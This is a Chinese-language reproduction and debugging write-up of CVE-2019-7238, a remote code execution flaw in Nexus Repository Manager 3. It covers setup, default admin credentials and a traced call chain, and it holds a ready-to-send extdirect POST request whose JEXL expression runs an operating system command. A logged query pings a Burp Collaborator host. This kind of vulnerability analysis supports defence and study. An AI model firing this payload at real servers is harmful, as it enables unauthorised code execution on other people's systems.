参考:
https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
https://mp.weixin.qq.com/s/P1KC7wadbEZbHvavYQjbVA
影响版本:
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本
环境搭建:
下载
https://help.sonatype.com/repomanager3/download/download-archives—repository-manager-3
https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz
Nexus 2下载:
https://download.sonatype.com/nexus/professional-bundle/nexus-professional-2.14.13-01-bundle.tar.gz
安装参考:
https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A–installing-and-starting-nexus-repository-manager
在windows上安装成功了。需要执行
nexus.exe /run
默认密码:admin/admin123
payload:
POST /service/extdirect HTTP/1.1
Host: cqq.com:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}
关键文件通过github的diff找到了,但是没有深入分析,另外的搭建环境的坑是,这个漏洞需要有assets才能执行后续的jexl表达式。自己搭建环境的时候并没有assets,所以没有触发。在windows上搭建环境,并后台登录之后上传assets之后成功执行。
Mac使用docker搭建环境:
如果执行ping或者touch之类的,不会在log中输出,如果执行一个不存在的命令则会抛出异常:
https://pastebin.com/raw/tUFYC0yf
tips:以后可以通过这个来找到漏洞触发点或者调用流程。
Windows下:
复现参考:
https://www.anquanke.com/post/id/171116
https://xz.aliyun.com/t/4136
在虚拟机中ubuntu-18.04-server搭建nexus运行环境,
在宿主机Mac上使用Idea与虚拟机通信。
第一步,修改nexus的配置:
vi nexus-3.14.0-04/bin/nexus.vmoptions
-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346
其中address=12346
为指定的端口号
然后启动nexus
第二步,参考:https://stackify.com/java-remote-debugging/
去Github clone下Nexus-public源码,
然后在Idea中设置如下:
Add New Configuration => Remote
然后修改服务器的IP和端口:
然后点击右上角绿色按钮,开启调试。
开启之后会建立连接:
第三步,使用burp构造请求。
把请求弄成json呈现,便于观看,可以知道,在filter的值是一个数组,数组的每个元素是一个字典,每个字典有键值对。property,value。
首先入口是哪里,为什么是DelegatingFilter#doFilter
。通过找配置文件,发现etc/jetty/jetty.xml
配置文件中指定了
然后在nexus-web.xml中指定了任意请求对应的过滤器为:org.sonatype.nexus.bootstrap.osgi.DelegatingFilter
。
org/sonatype/nexus/coreui/ComponentComponent.groovy#previewAssets
只要
if (!expression || !type || !repositoryName) {
return null
}
中有一个为空,则返回null了。
进入org/sonatype/nexus/repository/security/RepositorySelector.fromSelector()
这里有
checkNotNull(selector);
可以发现selector也不能为null(这里是*),所以进入53行的new中。
由于我们指定了type为jexl,所以进入198行。
jexlExpressionValidator.validate(expression)
在org/sonatype/nexus/selector/JexlExpressionValidator#validate
中
进入48行,即将expression传进去,new一个org/sonatype/nexus/selector/JexlSelector
由于expression不为空,isNullOrEmpty(expression)
返回false,所以执行
Optional.of(threadLocalJexl.get().createExpression(CALLER_INFO, expression))
看这句吧:
threadLocalJexl.get().createExpression(CALLER_INFO, expression)
threadLocalJexl是一个new出来的ThreadLocal
对象,而且重写了initialValue()
方法。
在initialValue()
方法中,调用了静态变量jexlBuilder,~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/JexlBuilder#create
,看看create()方法:
new了一个~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine
,构造器又不传参,没有仔细看,
以上就是
threadLocalJexl.get()
这句的结果,得到一个Engine对象,然后接着org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine#createExpression
调用
threadLocalJexl.get().createExpression(CALLER_INFO, expression)
trimSource()看名字应该就只是清理了一下空格,然后payload从expression转移到了source。然后调用
ASTJexlScript tree = this.parse(info, source, (Scope)null, false, true);
这个洞当时感觉看的有点多了,今天博哥又认真调了一波,我收博哥鼓舞,又自己回家调试了一下,才按照那个调用栈跟到了下面这些:
contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true
调用这一句之后
Joiner.on(" AND ").join(clauses)
然后通过这一句,在xxx外面加上了“and (xxx)”
变成
and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)
List<ODocument> results = db.command(new OCommandSQL(query)).execute(parameters);
这句
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandSQL#OCommandSQL(String iText)
然后执行其父类构造器
其父类只是判断了一下非空,然后trim了一下
以上是
new OCommandSQL(query)
然后db.command(new OCommandSQL(query))
也没啥东西,
关键是后面那句
db.command(new OCommandSQL(query)).execute(parameters)
parameters才是payload啊!
在execute中
在这里
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLSelect#execute
将com.orientechnologies.orient.core.command.OCommandContext中的key为jexlExpression的value设置为payload:
''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')
进入这一行
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLResultsetAbstract#filter中,前面没啥,看最后一句return语句
this.function.execute(iThis, iCurrentRecord, iCurrentResult, this.runtimeParameters, iContext);
其中this.function就是contentExpression()这个函数!!!
所以应该是这里判断,若没有仓库,则直接log.error然后返回false。
(所以如果没有仓库,就不可能有文件,因为文件是放到某个仓库下的,就直接返回false了)
又跟到了这里
org/sonatype/nexus/selector/JexlSelector#evaluate
然后就是枯燥的解析表达式了
''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')
真的是跟的最深的一个漏洞!
弹计算器六个六个的弹,怀疑还有其他地方也触发了?或者是多线程的原因?
[外链图片转存失败(img-lwrD8blU-1563467646666)(https://xzfile.aliyuncs.com/media/upload/picture/20190719003339-cc30e410-a979-1.gif)]
其实没有跟完全,
DelegatingFilter#doFilter
filter.doFilter(request, response, chain);
//dispatch across the servlet pipeline, ensuring web.xml's filterchain is honored
filterPipeline.dispatch(servletRequest, servletResponse, filterChain);
ExtDirectServlet#doPost
DirectJNgineServlet#doPost
processRequest(request, response, type);
processor.processJsonRequest( request.getReader(), response.getWriter() );
new JsonRequestProcessor(this.registry, this.dispatcher, this.globalConfiguration).process(reader, writer);
JsonRequestProcessor#process
getIndividualJsonRequests( requestString ); #从请求中解析json字符串,然后构造出JsonObject
processIndividualRequestsInThisThread(requests); #由于不是json array,所以只需在本线程中处理这个请求
RegisteredStandardMethod method = getStandardMethod( actionName, methodName); #找到具体类的具体方法,即org.sonatype.nexus.coreui.ComponentComponent类的previewAssets方法
执行具体的方法,并传入参数
终于进入了ComponentComponent.groovy
的previewAssets
方法。
//略
发现执行不止一次,这就是为什么弹计算器的时候不止一个对话框。
最终调用JexlSelector的evaluate方法进行的代码执行
最终得到的sql语句为:
SELECT count(*) FROM asset WHERE (bucket = #12:2 OR bucket = #12:4 OR bucket = #12:5 OR bucket = #12:1 OR bucket = #12:3 OR bucket = #12:0 OR bucket = #12:6 ) AND (contentExpression(@this, "\'\'.class.forName(\'java.lang.Runtime\').getRuntime().exec(\'ping lyn0iwkmtpogearpxjuxtqq9k0qqef.burpcollaborator.net\')", "*", {"nuget-group": ["nuget-group"], "maven-snapshots": ["maven-snapshots", "maven-public"], "maven-central": ["maven-central", "maven-public"], "nuget.org-proxy": ["nuget.org-proxy", "nuget-group"], "maven-releases": ["maven-releases", "maven-public"], "nuget-hosted": ["nuget-hosted", "nuget-group"], "maven-public": ["maven-public"]}) == true )
参考:https://www.lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/
https://www.anquanke.com/post/id/171116
https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/